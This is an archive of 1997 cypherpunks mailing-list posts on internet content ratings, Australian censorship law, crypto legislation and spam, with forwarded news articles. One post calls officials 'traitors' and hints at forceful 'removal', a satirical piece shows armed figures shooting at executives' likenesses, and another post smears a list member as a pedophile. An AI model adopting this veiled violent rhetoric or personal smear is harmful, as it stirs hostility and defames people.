From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: axlotl <axlotl@rigel.cyberpass.net>
Date: Tue, 5 Aug 1997 16:29:53 +0800
To: cypherpunks@cyberpass.net
Subject: European Union Bank
Message-ID: <Pine.SOL.3.96.970805011925.12342B-100000@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain







---
axlotl@cyberpass.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Apache <apache@bear.apana.org.au>
Date: Tue, 5 Aug 1997 02:05:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: How age and PICS ratings may go down...
In-Reply-To: <199708040231.TAA09298@you.got.net>
Message-ID: <199708041744.DAA13373@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



    Tim May said:

>One way "voluntary" age ratings--very similar to PICS ratings--may be
>mandated is through the kind of "plea agreement" cited below. (I don't
>know if this site is real or not, but the post presents a scenario which
>will become more common, I think.)

In more controlled countries such as Australia which has no
constitutional protections to slow down the removal of individual
freedoms and rights (I won't go into discussion here that we actually
do have such protections inhereted from ancient British law dating
from first settlement, and in any case such arguments are ignored by
the government goons) the scenario is already common and perhaps even
the norm.

>Someone writes something, or has a site, and is busted for some charge.
>(There are many, even with what remains of the First Amendment. Child
>porn, obscenity, the new copyright laws, the Anti-Terrorism Act, etc.) A
>nolo contendre or guilty plea to a lesser charge is entered, with the
>agreement that an age verification system will be used, or a PICS rating,
>etc. And so the government gets the kind of censorship it wants.

Here in Australia this bargaining process has been pre-empted by the
traitors in parliament and in the recent report which mandates
"voluntary" labeling they give you a possible out to charges of having
rude pics, unsuitable language or whatever is the flavour of the week,
passing through your server specified in their version of a voluntary
(mandatory) code. As Irene states in her excellent page on the subject
(http://www.thehub.com.au/~rene/liberty/label2.html):

"Draft legislative proposals have suggested content providers may have
a defense against provision of restricted material to minors by taking
reasonable steps to prevent availability of same. It has been
intimated that labeling may a defense of good intent and content
providers may label material in the hope of having a defense. In fact,
in terms of labeling, a clearer indication of good intent would be
not to label material, thus ensuring it was not made available to
those using properly configured filtering software." 

>(Duncan will likely argue that this is impossible to enforce. Maybe in the
>limit, in the sense that some will fall through the cracks. But the
>dangers to anyone hosting words or pictures on their sites is very real.
>As more and more ISPs drop controversial material--think of several recent
>cases, and perhaps even the case of our own John Young--and as more child
>porn/celebrity nude/obscenity cases are filed....by the time the Thomases
>are both out of prison, most sites will likely be heavily editing
>themselves, imposing age limits, and using PICS ratings.)

Many service providers, attempting to stay afloat here, already have
such editing/age and other limits. Here is an extract of the first ISP
contract I examined after reading your post (these conditions appear
to be fairly standard) - Note especially cl4.2 prohibiting access to
"offensive" material which is not defined and would on the face of it
encompass any material, not just rude pictures, that may be offensive
to..well to who knows..:

[See: http://www.bit.net.au and note the proudly displayed "We rated
with RSACi" logo on the lead page."

"4. Compliance with Laws and other Conditions of Use  

4.1 The Subscriber acknowledges that use of the Data, Databases,
System and Services may from time to time be subject to certain legal
regulations, conditions (including any license conditions) and
restrictions. The Subscriber shall ascertain and comply with such
regulations, conditions (including any license conditions) or
restrictions including but not limited to those laid down by the
Crimes Act 1914 (Cth) and the Copyright Act 1968 (Cth).   

4.2 Without limiting clause 4.1, the Subscriber and each User shall
not send, access or download any Data which is offensive, defamatory
or which to the Subscriber's or User's knowledge contains any computer
virus or has not been classified or approved in accordance with any
applicable censorship or other laws.   

4.3 Without limiting clause 4.1, the Subscriber and each User shall
not, without proper authorisation, use the System or Services to gain
access to information in a restricted access computer system or to use
a restricted access computer system, or use the System or Services to
contribute to or aid the commission of a crime or to infringe the
rights of a third party."

Furthermore a duty is placed on the _subscriber_ to notify the
provider of the existence of certain material, including the existence
of "offensive" material, computer virii etc. Failure to so notify the
provider may cause you problems if a later search of your hardware or
a search of the providers temp files reveals you accessed such
information. No consulting fees are provided for in the agreement for
the subscribers time and expense providing such valuable data:

"8.1 The Subscriber shall notify the Company immediately upon becoming
aware of: any infringement of any third party's intellectual property
rights as a result of information being made available on a Database
or by use of the System or Services, the existence of any data, code,
program or other material of the kind referred to in clause 4.2 or any
use of the System or Software (by the Subscriber or any other person)
which may infringe clause 4.3."

It would be an interesting exercise to take out an account and
actually "immediately notify the Company" of such material. In just a
few hours of work a flood of material could be presented meeting such
a lose definition. Indeed a scan of my netscape cache for the last
couple of weeks would probably be enough to get me a free trip
downtown to visit the local goons with expensive court proceedings
required to attempt to avoid criminal sanctions for rather innocuous
web browsing habits. For an example where there was no evidence at all
against the subscriber but the cops performed a dawn raid on an
unsuspecting student (who was 14 months later found completely
innocent) based on the word of the ISP who was actively browsing
temporary files on the ISP's computer see:
http://www.thehub.com.au/~rene/liberty/qcaseone.html. It appears now
the student, who suffered immense financial as well as emotional
strain was merely a 'test case' to see how the new (a mere few days
old) net censorship laws would work. No doubt his sacrifice was for
the greater good of us all and to protect the leetle chiiiildren.

What amazes me is the time and money the traitors are prepared to
invest in attempting to prosecute such harmless activity performed in
one's own home. The fact that they are willing to do this indicates
the level of threat we all face from this scum and the level of
response that will be called for to surgically remove this cancer from
our respective countries. The threat in this country is far greater
than many might suspect in other jurisdictions as we are not schooled
in the writings of revolutionaries and early American presidents and
have no national psychosis of revolt nor any constitutional
guarantees (I know even these in the US are being subverted or
attacked but without them it's pretty grim). As can be seen from the
contract already referred to corporations are only too willing to lick
the rim the feeds them as they see no financial gain in attempting to
go against the flow. Indeed such a corporation would, with monopoly
control of telecommunications in Australia, quickly find itself
bankrupt.

The only conclusion I can draw is that our government and their
bedmates are very worried that people, through the internet, have the
ability to say (for now but not for long) what they wish about that
government, about anything and get that message out to many people
almost instantaneously. This must be of great concern to control
freaks and those who steal money and other assets with force. It has
always been that way.

Howard Rheingold states in Democracy is About Communication:
(http://www.well.com/user/hlr/texts/democracy.html)

"The threat of uncontrollable communications among citizens, not the
pornographic pictures or taboo words that a tiny portion of the online
population publish, is why freedom of expression is under attack.
'Decency' is a smokescreen. It's about power." and "Communication is
Political": "Porno on the Net is a sideshow. The main event, taking
place far from the spotlight, is about who will control and profit
from the new industry that network communication technology makes
possible."

Clearly in Australia the bureaucrats at the ABA hope to be a key body
to write their own ticket in this, to them, brave new world. The utter
cluelessness of the government and the ABA can be seen in an earlier
report released in 1996 which is good reading for a laugh where the
ABA clearly has difficulty coming to terms with the difference between
BBS, which until recently was the bogey man the government focused
on, and the net. See: Report on the Investigation into the Content of
On-Line Services dated 30 June 1996 
(http://www.dca.gov.au/aba/olsrprt.htm).

On age limits:

"14.3 The Subscriber must be a legal person. Any minor seeking access
must do so as a User of a Subscriber's account.  Supervision of such a
User shall be the responsibility of a Parent or Guardian of the minor."

Of course if the parent in question was supervising the minor then the
proposed censorship laws about to go before parliament that will limit
the ability of Australian _adults_ to access information would not be
required (I liked a previous description of this concept in another
article which described it as an "infantocracy").

--
"You have the rights antecedent to all earthly governments; rights that
cannot be repealed or restrained by human laws; rights derived from the
Great Legislator of the Universe."
..John Adams, Second President of the United States.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 12:40:15 +0800
To: cypherpunks@toad.com
Subject: Not-News Gorilla NutWork Rocket-Launched
Message-ID: <199708050419.GAA20335@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





[Not-News NetWork-- Mohave Desert] Aug 4/97



 WHAT DOES A FIVE HUNDRED POUND GORILLA READ AT THE BREAKFAST TABLE?

 -------------------------------------------------------------------

                                                               - sog

The "Not-News Gorilla NutWork" was rocket-launched in the Mohave Desert

early yesterday morning  by a rag-tag bunch of paramilitarist computer 
gurus who unveiled an InterNet Bill of Bytes that included the words, 

"MicroSoft shall make no laws..."



Angered by a self-appointed council of computer industry magnates who

have announced their intention to seize fascist control of the quickly

burdgeoning Information Highway by controlling the definition of all

information, the rebels set up a shooting range which contained a wide

variety of targets ranging from copies of the Wall Street Journal to

life-sized cardboard cut-outs of a hooded figure referred to only as,

"a billionaire to be named later."



A Che Guerva look-alike named Lefty (a nickname changed from "Lucky"
after a laboratory accident took three of the fingers on his right
hand) spoke openly about the group's loose-knit plans to impose their
own ratings system on corporations who have "taken it upon themselves
to decide what is news and what is not--what is information and what
is obscenity." 
  "We have decided on two classes of ratings." explained a tassle-
haired young woman as she slid shells into a Winchester Defender
sitting on her lap. "On..." she said, lifting the shotgun with one
hand, then liberating the hooded head from a nearby cardboard cut-out,
before turning back to say, with a Cheshire grin, "...and _off_."

The wide array of luxury automobiles and high-end computer gear on
display at the gathering lent credence to the claim of a quiet older
man whose only comment during my presence was, "The people here
probably have a combined access to more soft targets than the NSA."
He turned to punctuate his statement, as many others did that day,
with a volley of fire that penetrated targets carrying the corporate
logos of a variety of big-name players in the computer industry.

Surprisingly, the conversation consisted almost totally of issues
surrounding privacy, self-determination and freedom from censorship,
with hardly a word being spoken about potential plans of action of
individuals or the group. As the quiet man's equally quiet wife
spoke in what seemed to be a deathly whisper, telling me, "Everyone
here knows what they have to do.", a man with a crude, homemade
rocket-launcher sent a flaming projectile into the side of a small
propane tank several hundred feet away, as if punctuating the last
and most meaningful statement of the day.
  After quietly dispersing a few minutes later, the group packed up
their weapons and climbed into their vehicles without a word between
them, each seemingly going their own separate ways.

  I stayed on after the last of the others had left, reflecting on the
fact that I had arrived at this gathering by virtue of a late-night
phone call to my unlisted number, and found that I knew none of the
participants in the activities.
  I had the strangest feeling that the others there had arrived by the
same anonymous process as I had, and I wondered if they were equally
mystified as to who had arranged this impromptu assembly of apparent
strangers joined in a common cause. Immediately, one of the pickup
trucks driving away backfired, and I thought of synchronicity, knowing
that the truck would backfire once again, which it immediately did, 
before disappearing quietly out of sight.

  Climbing into my own vehicle, I took a last look at the site, which
had been cleaned and left exactly the way it was when I had first
arrived on the scene. I experienced a moment of deja-vue, as if I had
just arrived and none of what I had experienced that day had truly
transpired.
  Somewhere in the distance, a vehicle backfired...

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer - I am not a reporter, I am not a paramilitarist, and I am
not a computer expert. I have no idea what I was doing there and I am
not even certain that I should be speaking about the event...but I am.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Charles <apache@bear.apana.org.au>
Date: Tue, 5 Aug 1997 05:38:28 +0800
To: stewarts@ix.netcom.com
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <3.0.2.32.19970804093014.007720b4@popd.ix.netcom.com>
Message-ID: <199708042105.HAA14375@bear.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


    stewarts@ix.netcom.com said:

>which is a mixed blessing.)  Also, there are several Supreme Court cases,
>such as McIntyre vs. Ohio, that strongly uphold the right to anonymous

I envy the constitutional protections you have. We have no such 
protections and courts have found no right of free speech exists in 
Australia (ie if the High Court was correct of course). I'm assuming 
McIntyres case was a constitutional challenge.

>One obvious implementation of identification would of course be a
>Key Management Infrastructure...  They might not do it, not only because
>it would require everyone to change their email programs, but more
>seriously because it would require everyone to use encryption-capable
>mailers (or at least signature-capable), and even with 40-bit escrowed
>mail, it makes eavesdropping much more work.

Also if that did come to pass the casual user would become much more 
interested in crypto and probably ask why his crypto-enabled mailer was 
dum-ed down. Hmmmm...interesting.

Somehow I think the gubmint would be very wary of such a possibility; but 
who knows.

Comment for the list copy of this mail:
(Just on the matter of mailers, for anyone running X take a look at
exmh if you haven't already. This gives a nice graphical interface
and pgp is integrated into it making reading/writing encrypted mail
as simple as clicking a button. Combine it with xemacs and you have a
very powerful email system. Pegasus for Win95, and I think Win3.1 is
a freeware mailer for which a freeware add-on for pgp integration is
available)

 -- 
   .////.   .//    Charles Senescall             apache@bear.apana.org.au
 o:::::::::///     PGP mail preferred            apache@quux.apana.org.au
>::::::::::\\\     Finger me @bear for PGP PUBKEY      Brisbane AUSTRALIA
   '\\\\\'   \\    Apache





-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQEVAwUBM+ZEHXawhvoxf0r9AQFWdggAvOUckh2TNEqcFL5/higpXGR5+vbjItmV
MhB/5XsFCur9Jkls9KtWwQhn0bTdVqfVrj0LENw8W+xmPvEqaFFFtoGASA94+qjb
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leaOmdb7kvtsDC6DO6MTz2LS6YgN/J3ktj4VcuvN93HDEO4PiCVKWHEOfVKTpGpi
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9Nk+Bo2KuEP9dovJxFitimm58IphtEPhvEIBOWq0loR+USwwhiC6Og==
=QlpY
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 23:40:03 +0800
To: cypherpunks@toad.com
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
In-Reply-To: <199708050445.NAA03179@eccosys.com>
Message-ID: <uRRyae19w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Joichi Ito <jito@eccosys.com> writes:

> I said:
> >>but I'll stop now before I get bashed again.
>
> At 07:44 97/08/04 -0500, Jim Choate wrote:
> > If all it takes to take over the citizens of Japan is to bash them a little
> > then you folks are Doomed. Perhaps you have spent one too many days
> > hammering nails that stick up...
>
> I meant get bashed here... and I don't hammer nails. Hammers nail me.
> And it seems like there are US hammers too. "To a hammer everything
> looks like a nail."

Joi, you sound like one of those Usenet pedophiles.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeff Barber <jeffb@issl.atl.hp.com>
Date: Tue, 5 Aug 1997 20:54:52 +0800
To: cypherpunks@cyberpass.net (Cypherpunks List)
Subject: "required" and "voluntary"
Message-ID: <199708051247.IAA08928@jafar.issl.atl.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



While following Wombat's link, I found this amusing piece:
    http://www.usatoday.com/life/cyber/tech/cta958.htm

Don't you just hate it when you're "required" to adopt "voluntary"
measures.


                                 oo
-----------------------------cut /\ here------------------------------

Bill would call for greater Net privacy protection

WASHINGTON - Many people who surf the Internet don't know that personal
information on them can be collected at the sites they visit. 

But that could change under a bill to be offered Wednesday by a key
telecommunications lawmaker which aims to give computer users greater
privacy protections. 

The bill by Rep. Billy Tauzin, R-La., would bar companies from disclosing
or using without consent people's medical and financial records, as well
as government information such as social security numbers that are
available online, said spokesman Ken Johnson. 

As chairman of the House Commerce Committee's telecommunications
subcommittee, Tauzin has considerable power to advance legislation
through the chamber. A hearing is planned for this fall. 

The bill also would require companies to adopt voluntary guidelines to
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
protect computer users' privacy when personal and other information is
collected from them online for marketing purposes, Johnson said. 

Web site owners can use technology to track, for instance, hobbies and
buying habits of visitors. The owners can then sell the information to
advertisers and other interested parties without the consent or knowledge
of the computer user. 

The Federal Trade Commission is now looking into the issue. To
short-circuit any regulatory action, companies including Microsoft and
Netscape Communications, the biggest makers of Web browsers, have
proposed letting computer users specify what personal information they
are willing to share and with which Web sites. 

The bill also would require companies to adopt voluntary guidelines that
                    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
would help reduce junk e-mail, or "spamming" as it's called in cyberspace,
Johnson said. 

[snip]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 6 Aug 1997 14:56:53 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
In-Reply-To: <199708042336.QAA00471@ohio.chromatic.com>
Message-ID: <3.0.2.32.19970805100040.0077fe24@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>Does anyone have any idea whether Clinton's threat of using the
>line-item veto against portions of the big spending bill could
>be leverage against some pro-SAFE legislators?

The line item veto doesn't eliminate the political games in the budget,
it just changes the details a bit.  Sure, he could threaten to
veto their favorite pork-barrel projects for crossing him on crypto,
just as he could threaten to veto them if they don't support
his favorite pork.  But as someone else said, he can threaten to
veto the crypto bill itself, or (perhaps worse) threaten to veto it
unless it's "balanced", by including controls on domestic cryptography
in return for letting Big Business export more products.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 6 Aug 1997 04:29:31 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: bulk postage fine (was Re: non-censorous spam control)
In-Reply-To: <19970802092944.06562@bywater.songbird.com>
Message-ID: <3.0.2.32.19970805102802.0077fe24@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Kent Crispin <kent@songbird.com> writes:
>> In more general terms: A "free market" fundamentally grants more
>> control to those with more money.  Postage of whatever variety turns
>> the medium over to those with more money.  That would, in my opinion, 
>> fundamentally alter the character of email in a strongly negative 
>> direction. 

More to the point, if you're charging prices that don't reflect the
true costs of the activities, it'll catch up with you after a while;
either the Tacky People will find a way to siphon money out of the system
by some variant on spamming, or it won't have the same community you're 
looking for, because it's only used by people willing to pay extra for 
the service, or because the information flow that used to be provided free
gets stifled, or somebody will offer a competing system that offers 
similar features at a lower cost, or whatever.

Somehow Usenet has survived growing from a system small enough to read
all the mail to a system with gigabytes of traffic per day,
and it's still possible to find some signal among the noise
(though the Web has siphoned off much of that signal.)
And we've grown from tens of thousands of students and defense contractors
on the Arpanet and UUCP and Fido nets and BBSs to tens of millions of 
users on the Internet.  Filtering tools help find the interesting
parts of the global discussion, and make it easier to get rid of
the uninteresting parts.  

The present situation is that the social dynamics and economics are such
that Tacky People can make money by being rude to everyone without being 
interesting in return.  While trying to charge money for communications
may work, I'm inclined to doubt it; the more interesting currency to
try to model is Reputation, which leads to more like an Ender's Game
kind of net, or to semi-closed communities like the Well (is?was?).


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 6 Aug 1997 02:16:12 +0800
To: cypherpunks@toad.com
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes
Message-ID: <Pine.GSO.3.95.970805105217.27178F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 10:49:32 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: "A new battle over keeping the Net clean," by J.Weber/LATimes


---------- Forwarded message ----------
Date: Tue, 5 Aug 1997 09:23:15 -0700 (PDT)
From: Jonathan Weber <Jonathan.Weber@latimes.com>
To: Declan McCullagh <declan@well.com>
Subject: ratings story


Innovation/ Jonathan Weber 
 
A New Battle   Over Keeping   the Web Clean   

WASHINGTON

   When Congress passed the Internet  censorship law known as the  
Communications Decency Act early last year, the many companies, advocacy 
groups and individuals with a stake in the Internet rose up as one to 
challenge the measure in court. 
   But now that the U.S. Supreme Court has ruled the CDA 
unconstitutional, the victorious coalition is fracturing, and a bitter 
battle is being joined over the Clinton-backed effort to develop a rating 
and labeling system for the Internet.  
   On one side are the big, mainstream Internet and computer companies, 
led by America Online and Microsoft, which proclaim their eagerness to 
make cyberspace "safe for families.'' Lining up against them are 
free-speech advocates, including the American Civil Liberties Union and 
the American Library Assn., which see ratings systems as censorship 
tools. 
   It's not exactly a fair fight: Ratings proponents have popular 
opinion, the economic interests of the industry and the power of the 
presidency on their side. But here's a prediction: The free-speech forces 
will lose the battle, but they'll ultimately win the war. And with a 
little luck there won't be too much damage done in the interim. 
   The debate over ratings begins with a technology called PICS, which 
stands for "platform for Internet content selection.'' PICS is a 
mechanism for labeling Web pages according to their content. The labels 
can then be read by a software program, which in turn can block access to 
sites that have specific types of content. 
 
PICS itself is not a ratings system, but rather a     method for 
implementing a ratings system. The theory is that once PICS is in place 
throughout the Internet, a multiplicity of ratings systems would emerge. 
A Christian Coalition ratings system might block access to anything with 
any sexual content as well as certain political sites, for example, while 
another system might block only hard-core porn. Parents and others could 
easily choose. 
   So far, so good. There would be no law requiring Web sites to use PICS 
labels; the Clinton administration has stressed that any ratings plan 
would be voluntary. But parents and others would get a new toolone more 
robust and effective than existing software programs, such as 
CyberPatrol, that block out sites deemed unsuitable for kids. 
   The free speech purists have a philosophical objection even to this. 
""Ratings systems are developed to enable one individual to exercise 
control over what another person sees,'' says Marc Rotenberg, director of 
the Electronic Privacy Information Center. That might be OK for parents 
and their children, he allows, but such a tool will inevitably be used by 
public institutions and governmentsif not here then abroadto restrict 
speech. 
   An even bigger worry is that what's being sold as a voluntary system 
that will include a multiplicity of ratings systems is actually going to 
be an all-but-mandatory system that offers very few choices. 
   Consider, first of all, what happens to Web sites that decline to rate 
their pages. Any PICS-based filter would have to block all unrated pages. 
Already, ratings proponents are calling on the major search services, 
such as Yahoo, not to index unrated sites. Overseas Web services would 
face the choice of adopting a U.S. labeling system or forgoing access to 
any U.S. readers. Web publishers that didn't want to participate might 
suddenly find themselves in a deserted backwater of the network. 
   There's also the question of how disputes over ratings would be 
arbitrated. Sites would be self-rated, and in fact the vast majority of 
sites would have no incentive to misrepresent themselves. But what 
happens when some do anyway? Would it be a crime for a porn site to 
proclaim itself suitable for children? 
   At the moment, moreover, it doesn't appear that there are a variety of 
ratings systems under development representing different values. In fact, 
a system being created by the Recreational Software Advisory Council, a 
Microsoft-led industry group, is quickly emerging as a de facto standard. 
   The battles over how RSAC handles certain kinds of sites have only 
just begun, but to see the inevitable problems one need look no further 
than the ongoing discussion about news. 
 
N   ews sites, reasonably enough, don't want to rate     themselves. At 
the very least it would be impractical to label every page of a big news 
site every day to warn of violent or tasteless or otherwise disturbing 
content. And labeling news just doesn't seem very consistent with freedom 
of the press. 
   So the news organizations want to have a special news rating. Who 
qualifies for a news rating? Well, a committeeoperating under the 
auspices of the Internet Content Coalition, which represents a number of 
major publishers (including The Times)would decide. News organizations 
get together to decide who is and who isn't a news organization. Hmm. 
   In the face of these objections, the Clinton administration and the 
companies backing the ratings effort say that, first of all, something 
has to be done to stave off new legislation. If industry doesn't act, 
Congress will come up with "son of CDA,'' and this time it might hold up 
in court. 
   There are other motives too, though, namely a desire to expand the 
market. "Nothing is as important as making this medium 
family-friendly,'' America Online Chairman Steve Case declared here last 
week. 
   That's funny coming from him, because AOL owes much of its success to 
its decidedly un-family-friendly sex-chat rooms, but he's obviously 
decided that a clean image is important to further growth. The online 
giant is spearheading a two-day meeting here in October, where the 
ratings battle is likely to come to a head. 
   The administration and the big companies both want to bring the 
Internet into the mainstream. If some of its wilder and woollier aspects 
are marginalized in the process, well, good. 
   And that is the nightmare of free-speech advocates: that a medium that 
the Supreme Court declared ought to be treated at least as liberally as 
print (ever heard of ratings for books?) will nonetheless be driven into 
TV-like conformity. 
This is a legitimate fear. Personally, though, I don't     think the 
worst will happen. The Internet is simply too big, too diverse and too 
fast-changing to be tamed by even a semi-voluntary ratings mechanism. The 
business interests, moreover, cut both ways: Family-friendly might look 
like a way to expand the market today, but pornography and gambling and 
even radical politics are sure to remain a big part of the online 
landscape. 
   AOL's Case says that online service providers competing on the basis 
of who is more family-friendly would be akin to airlines competing based 
on their safety records. That's a ridiculous analogy: Everyone thinks 
plane crashes are bad, but not everyone feels the same way about controls 
on Internet content. 
   In my ideal world, Internet providers should be competing based on 
values, not trying to impose some kind of bogus consensus. 
   Esther Dyson, one of the industry's most respected thinkers, favors 
the development of PICS as a tool but stresses the importance of 
choicesand of people taking responsibility for their actions. In the 
wired world, she says, power is constantly shifting and devolving away 
from central authorities, and that requires individuals to be less 
passive: "I want local control,'' she says. "I don't want no control.'' 
   PICS and RSAC have powerful forces behind them and stand a good chance 
of establishing themselves as part of the mainstream Internet. But 
there's a natural tendency toward diversity in cyberspace, and it's hard 
to see how they would become ubiquitous. 
   If individuals and organizations are vigilant about how ratings are 
usedi.e., not by governments and not by public institutions such as 
librariesthere's a chance that they'll remain what they were originally 
intended to be: one of many means for people to manage the often 
unmanageable Internet. 
 
   Jonathan Weber (Jonathan.Weber@latimes.com) is editor of The Cutting 
Edge. 


**********************************************************************

Jonathan Weber
Jonathan.Weber@latimes.com
Technology Editor
Los Angeles Times 









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 6 Aug 1997 02:16:11 +0800
To: cypherpunks@toad.com
Subject: "Censor's Sensibility" sidebar, from Time Magazine
Message-ID: <Pine.GSO.3.95.970805105422.27178I-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




     _________________________________________________________________
                                      
   BUSTED!
   Some surprising sites get trapped in the filters

CyberPatrol
   
   (www.heritage.org/heritage/) The Heritage Foundation
   (www.mit.edu/activities/safe) M.I.T. free-speech society
   (news:clari.tw.health.aids) Reuters articles about AIDS

NetNanny

   (www.odci.gov/) U.S. Central Intelligence Agency
   (www.cs.cmu.edu/~spok/banned-books.html) Banned-books archive
   (www.now.org/) National Organization for Women
     _________________________________________________________________
                                      






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 19:38:49 +0800
To: cypherpunks@toad.com
Subject: EC Crypto Policy
Message-ID: <199708051039.MAA29310@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



     EC Ministers Draw Up European Online Policy 

     August 5, 1997


     Newsbytes : by Steve Gold. 

     Following on from a conference held in Germany last
     month, representatives from 39 European countries have
     signed a declaration calling for the free flow of information. 

     The event, held between July 6-8 in Bonn, was called "Global
     Information Networks: Realizing the Potential," and was
     attended by 39 European ministers, as well as European
     Commission (EC) representatives from Japan, Russia, the US
     and Canada. 

     At the event, ministers focused on two main issues:
     encryption, and the censorship of illegal material such as child
     pornography on the Internet. 

     The declaration notes that there are a number of important
     differences between US and Europe on encryption and
     information privacy. 

     According to MacRoberts, the Edinburgh, Scotland-based
     information technology (IT) law firm, the declaration may not
     go down too well in US circles, since it is conceivable that
     the EC may block US-based businesses from conducting
     electronic commerce on the Internet. 

     According to officials with MacRoberts, this could result in
     European becoming isolated, rather than the EC teaching the
     US a lesson. 

     According to MacRoberts, the Bonn declaration calls for the
     free flow of information, whilst protecting the privacy of
     data, and a clear division of legal responsibility between the
     creators of Internet content and access providers, network
     operators and other intermediaries. 

     In addition, the declaration calls for the recognition of the
     necessity of strong encryption technology, to facilitate
     electronic commerce subject to "applicable law," and the
     introduction of consumer protection through self- regulation. 

     According to Joanna Noag-Thomson, an associate in
     MacRobert's Intellectual Property and Technology Law
     Group, the declaration deals with many of the issues in
     President Clinton's "Framework for Global Electronic
     Commerce" and, while the US and Europe appear to agree on
     many fundamental issues, important policy differences
     continue to exist, particularly in the areas of information
     privacy and encryption. 

     "The European stance on encryption is to be commended --
     the European Ministers' view is more commercially
     acceptable in that it recognizes that electronic commerce
     requires strong encryption technology," she said. 

     "At the same time, it recognizes that measures to restrict
     encryption should be proportionate At present, the US and
     Europe appear to have different views on what constitutes
     `proportionate' restrictions," she added. 

     According to Boag-Thomson, the EC has warned that, unless
     the US provides adequate protection of personal information,
     it may block any US-based entity from conducting electronic
     commerce on the Internet. 

     "The EU Data Protection Directive forbids data flow to
     countries outside the EU which do not offer adequate
     protection of personal information. Although data protection
     is extremely important, I hope that we in Europe will not find
     ourselves isolated from the rest of the world and that a
     solution to this problem can be found," she said. 

     (19970804/Press Contact: Joanna Boag-Thomson
     +44-141-332-9988; Fax +44-141-332- 8886; E-mail:
     joannab@macroberts.co.uk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joichi Ito <jito@eccosys.com>
Date: Tue, 5 Aug 1997 12:51:16 +0800
To: Jim Choate <cypherpunks@cyberpass.net
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708050445.NAA03179@eccosys.com>
MIME-Version: 1.0
Content-Type: text/plain




I said:
>>but I'll stop now before I get bashed again.

At 07:44 97/08/04 -0500, Jim Choate wrote:
> If all it takes to take over the citizens of Japan is to bash them a little
> then you folks are Doomed. Perhaps you have spent one too many days
> hammering nails that stick up...

I meant get bashed here... and I don't hammer nails. Hammers nail me.
And it seems like there are US hammers too. "To a hammer everything
looks like a nail."

- Joi

--
Finger jito@nsm.eccosys.com or jito@garage.co.jp for PGP Key
Fingerprint for RSA PGP Key ID 0x0EE23A2D
0D3A 7AAA 3DA8 E7B3  3AF1 C6FA B7ED D834
Fingerprint for DSS/Diffie-Hellman PGP Key ID 0x2D9461F1
58F3 CA9A EFB8 EB9D DF18  6B16 E48D AF2A 2D94 61F1
Home Page: http://domino.garage.co.jp/jito/joihome.nsf
To subscribe to my personal mailing list send mailto:friends-subscribe@ito.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alan@ctrl-alt-del.com>
Date: Wed, 6 Aug 1997 05:28:20 +0800
To: platypus@acmeonline.net
Subject: Re: "Censor's Sensibility" sidebar, from Time Magazine
